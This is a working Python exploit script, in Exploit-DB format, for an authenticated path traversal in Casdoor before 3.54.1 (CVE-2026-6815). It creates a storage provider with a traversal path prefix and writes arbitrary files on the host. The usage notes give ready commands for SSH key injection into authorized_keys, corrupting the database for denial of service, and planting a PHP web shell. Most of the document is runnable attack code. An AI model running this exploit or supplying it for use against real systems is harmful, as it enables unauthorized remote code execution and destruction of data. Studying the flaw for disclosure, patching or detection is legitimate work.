# Exploit Title: Casdoor < 3.54.1 - Arbitrary File Write via Path Traversal (Authenticated) (CVE-2026-6815)
# Date: 2026-05-11
# Exploit Author: sixpain
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Version: < 3.54.1
# Tested on: Linux / Docker
# CVE : CVE-2026-6815

"""
Casdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815)
================================================

DESCRIPTION:
This script exploits a Path Traversal vulnerability in the storage provider 
management component of Casdoor. By creating a 'Local File System' provider 
with a manipulated 'pathPrefix', an authenticated administrator can bypass 
the storage sandbox to write, overwrite, or delete arbitrary files on the 
underlying host filesystem.

IMPACT:
- Remote Code Execution (RCE) via SSH key injection or web shell upload.
- Persistent Denial of Service (DoS) by corrupting core application binaries 
  or database files (e.g., casdoor.db).

USAGE EXAMPLES:
1. SSH Key Injection for RCE:
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys

2. Persistent DoS (Database Corruption):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db

3. Reverse Shell (via secondary web server webroot):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php

TROUBLESHOOTING & TECHNICAL NOTES:
- APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application 
  and 'built-in' organization. If you have credentials for custom 
  namespaces, specify them using the --appname and --orgname flags.
- FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique 
  remote path. Casdoor's resource management logic prevents direct subsequent 
  overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the 
  resource name if the entry already exists in the application's internal 
  database. To bypass this, the script automatically tags the uploaded resource 
  after every run, renaming it to a random sentinel value (e.g., 
  `_sl_home_sl_casdoor_sl_id_rsa.pub_EXP_XXXXXXXX`).
  
  Note: Slashes (`/`) in the target path are replaced with `_sl_` during the 
  rename operation because Casdoor forbids special characters like `/` in the 
  resource `name` field, which would cause an Error 1062 or validation failure.
  This ensures the original filename is always freed for the next upload, 
  preventing counter increments while safely storing the old entries in the DB.

- PERMISSIONS: Exploitation success is dependent on the OS-level permissions 
  of the user account running the Casdoor service.
- VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.

DISCLAIMER:
This tool is for educational and coordinated disclosure purposes only. 
Unauthorized testing against systems you do not own is illegal.
"""


import argparse
import requests
import json
import os
import random
import string
import re

def log_request(response, verbose):
    """Prints request and response details if verbose mode is enabled."""
    if verbose:
        print("\n" + "="*50)
        print(f"DEBUG - REQUEST: {response.request.method} {response.request.url}")
        print(f"HEADERS: {json.dumps(dict(response.request.headers), indent=2)}")
        if response.request.body:
            # Handle potential bytes body for multipart
            body = response.request.body
            if isinstance(body, bytes):
                print(f"BODY: <binary data, length {len(body)}>")
            else:
                print(f"BODY: {body}")
        print("-" * 50)
        print(f"DEBUG - RESPONSE: {response.status_code}")
        print(f"HEADERS: {json.dumps(dict(response.headers), indent=2)}")
        try:
            print(f"JSON BODY: {json.dumps(response.json(), indent=2)}")
        except:
            print(f"RAW BODY: {response.text[:500]}...") 
        print("="*50 + "\n")

def run_poc():
    parser = argparse.ArgumentParser(description="Casdoor Path Traversal Exploitation PoC")
    parser.add_argument("--url", required=True, help="Target base URL (e.g., http://casdoor:8000)")
    parser.add_argument("--usr", default="admin", help="Login username")
    parser.add_argument("--psw", default="123", help="Login password")
    parser.add_argument("--file", required=True, help="Local file to upload")
    parser.add_argument("--rpath", required=True, help="Absolute remote path (e.g., /tmp/pwned.txt)")
    parser.add_argument("--appname", default='app-built-in', help="Target Casdoor Application Name")
    parser.add_argument("--orgname", default='built-in', help="Target Casdoor Organization Name")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
    
    args = parser.parse_args()
    
    # Sanitize and validate URL schema
    target_url = args.url.strip().rstrip('/')
    if not target_url.startswith(('http://', 'https://')):
        print("[!] No protocol specified. Defaulting to http://")
        target_url = f"http://{target_url}"
    
    session = requests.Session()

    # Setting common user agent
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
    })

    # --- STEP 1: INITIAL SESSION ---
    print(f"[*] Step 1: Retrieving initial session cookie...")
    try:
        r1 = session.get(f"{target_url}/login/built-in")
        log_request(r1, args.verbose)
        
        if "casdoor_session_id" not in session.cookies:
            print("[-] Error: Failed to retrieve casdoor_session_id.")
            return
        print(f"[+] Session ID obtained: {session.cookies.get('casdoor_session_id')}")

        # --- STEP 2: LOGIN / PRIVILEGE ESCALATION ---
        print(f"[*] Step 2: Logging in as {args.usr}...")
        login_payload = {
            "application": args.appname,
            "organization": args.orgname,
            "username": args.usr,
            "password": args.psw,
            "autoSignin": True,
            "signinMethod": "Password",
            "type": "login"
        }
        
        r2 = session.post(
            f"{target_url}/api/login", 
            data=json.dumps(login_payload),
            headers={"Content-Type": "text/plain;charset=UTF-8"}
        )
        log_request(r2, args.verbose)
        
        login_res = r2.json()
        if login_res.get("status") == "ok" and 'admin' in login_res.get("data").lower():
            print("[+] Login successful. Admin privileges confirmed.")
        else:
            print("[!] Warning: Not an admin or login failed. Attempting to proceed anyway...")

        # --- STEP 2.5: VERSION CHECK ---
        print(f"[*] Step 2.5: Checking Casdoor version...")
        try:
            r_version = session.get(f"{target_url}/api/get-version-info")
            log_request(r_version, args.verbose)
            if r_version.status_code == 200:
                version_data = r_version.json().get("data", {})
                if not version_data:
                     # Some versions might return data directly or in different format
                     version_data = r_version.json()
                
                version = version_data.get("version", "unknown")
                print(f"[+] Target Casdoor version: {version}")
                
                # Check if version is patched (>= 3.54.1)
                is_vulnerable = True
                if version != "unknown" and version != "dev":
                    try:
                        v_clean = version.lstrip('v').split('-')[0]
                        v_parts = [int(p) for p in v_clean.split('.')]
                        if v_parts >= [3, 54, 1]:
                            is_vulnerable = False
                    except:
                        pass # Parsing error, assume vulnerable or let user decide
                
                if not is_vulnerable:
                    print(f"[!] WARNING: Target version {version} is likely PATCHED (>= 3.54.1) and this PoC will not work.")
                    choice = input("[?] Do you want to continue anyway? (y/N): ").lower()
                    if choice != 'y':
                        print("[-] Aborting.")
                        return
            else:
                print("[!] Warning: Could not retrieve version info (Status: {}).".format(r_version.status_code))
        except Exception as e:
            print(f"[!] Error during version check: {e}")


        # --- STEP 3: CHECK / CREATE MALICIOUS STORAGE PROVIDER ---
        provider_name = "path_traversal"

        print(f"[*] Step 3: Checking if provider '{provider_name}' exists...")
        r3_check = session.get(
            f"{target_url}/api/get-provider",
            params={"id": f"admin/{provider_name}"}
        )
        log_request(r3_check, args.verbose)
        try:
            check_res = r3_check.json()
            if check_res.get("status") == "ok" and check_res.get("data"):
                print(f"[+] Provider '{provider_name}' already exists. Reusing it.")
            else:
                raise ValueError("not found")
        except Exception:
            print(f"[*] Step 3.1: Creating provider '{provider_name}'...")
            provider_payload = {
                "owner":       "admin",
                "name":        provider_name,
                "createdTime": "2026-02-20T17:59:58+01:00",
                "displayName": "Path Traversal Provider",
                "category":    "Storage",
                "type":        "Local File System",
                "method":      "Normal",
                "pathPrefix":  "../../../../../../../../../"
            }
            r3 = session.post(
                f"{target_url}/api/add-provider",
                data=json.dumps(provider_payload),
                headers={"Content-Type": "text/plain;charset=UTF-8"}
            )
            log_request(r3, args.verbose)
            prov_res = r3.json()
            msg = prov_res.get("msg", "")
            if prov_res.get("status") == "ok":
                print(f"[+] Provider '{provider_name}' created successfully.")
            elif "UNIQUE constraint failed" in msg or "Duplicate entry" in msg:
                print(f"[+] Provider '{provider_name}' already exists. Reusing it.")
            else:
                print(f"[-] Failed to create provider: {msg}")
                if "pathPrefix" in msg and "is not allowed" in msg:
                    print("[!] Escape sequence is sanitized. Target is likely patched (>= 3.54.1).")
                return



        # --- STEP 4: FILE UPLOAD (EXPLOITATION) ---
        print(f"[*] Step 4: Uploading {args.file} to {args.rpath}...")

        # Base tag used to name the resource after upload.
        # Using the full rpath (slashes replaced) makes it identifiable per target.
        SENTINEL_NAME = args.rpath.replace("/", "_sl_")

        upload_params = {
            "owner":        args.orgname,
            "user":         args.usr,
            "application":  args.appname,
            "tag":          "custom",
            "parent":       "ResourceListPage",
            "fullFilePath": args.rpath,
            "provider":     provider_name,
        }

        if not os.path.exists(args.file):
            print(f"[-] Error: Local file {args.file} not found.")
            return

        with open(args.file, 'rb') as f:
            files = {'file': (os.path.basename(args.file), f, 'application/octet-stream')}
            r4 = session.post(f"{target_url}/api/upload-resource", params=upload_params, files=files)
            log_request(r4, args.verbose)
            upload_res = r4.json()

        if upload_res.get("status") == "ok":
            print("\n" + "!"*25)
            print(" EXPLOIT SUCCESSFUL")
            print("!"*25 + "\n")

            print("Response Path")
            print(25*'-')
            print(f'\t-data : {upload_res.get("data")}')
            print(f'\t-data2: {upload_res.get("data2")}')
            print(f'\t-data3: {upload_res.get("data3")}')
            print(25*'-')

            # --- STEP 5: POST-UPLOAD RENAME ---
            # Rename the newly uploaded resource to a unique tagged name
            # {SENTINEL_NAME}_EXP_{rand} and clear its url.
            #
            # This frees the basename (e.g. "authorized_keys") for the next upload so
            # Casdoor never appends a -N counter suffix.
            rand_tag  = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            exp_name  = f"{SENTINEL_NAME}_EXP_{rand_tag}"
            print(f"\n[*] Step 5: Tagging resource as '{exp_name}'...")
            try:
                uploaded_url = upload_res.get("data", "")
                r_list2 = session.get(
                    f"{target_url}/api/get-resources",
                    params={
                        "owner":        args.orgname,
                        "user":         args.usr,
                        "application":  args.appname,
                        "tag":          "custom",
                        "field": "", "value": "",
                        "sortField": "createdTime", "sortOrder": "descend",
                        "pageSize": 50,
                        "page": 1,
                    }
                )
                log_request(r_list2, args.verbose)
                resources = r_list2.json().get("data") or []

                # Match by the URL returned in the upload response
                target_res = next(
                    (r for r in resources if r.get("url") == uploaded_url),
                    None
                )

                if target_res:
                    old_id  = f"{target_res['owner']}/{target_res['name']}"
                    updated = dict(target_res)
                    updated["name"] = exp_name
                    updated["url"]  = ""   # clear traversal URL

                    r_upd = session.post(
                        f"{target_url}/api/update-resource",
                        params={"id": old_id},
                        data=json.dumps(updated),
                        headers={"Content-Type": "text/plain;charset=UTF-8"}
                    )
                    log_request(r_upd, args.verbose)

                    if r_upd.json().get("status") == "ok":
                        print(f"[+] Resource tagged as '{exp_name}'.")
                    else:
                        print(f"[!] Tag failed: {r_upd.json().get('msg')}")
                else:
                    print(f"[!] Could not locate uploaded resource in list. Tag skipped.")

            except Exception as e:
                print(f"[!] Post-upload tag error: {e}")

        else:
            print(f"[-] Upload failed: {upload_res.get('msg')}")

    except Exception as e:
        print(f"[-] An unexpected error occurred: {e}")

if __name__ == "__main__":
    run_poc()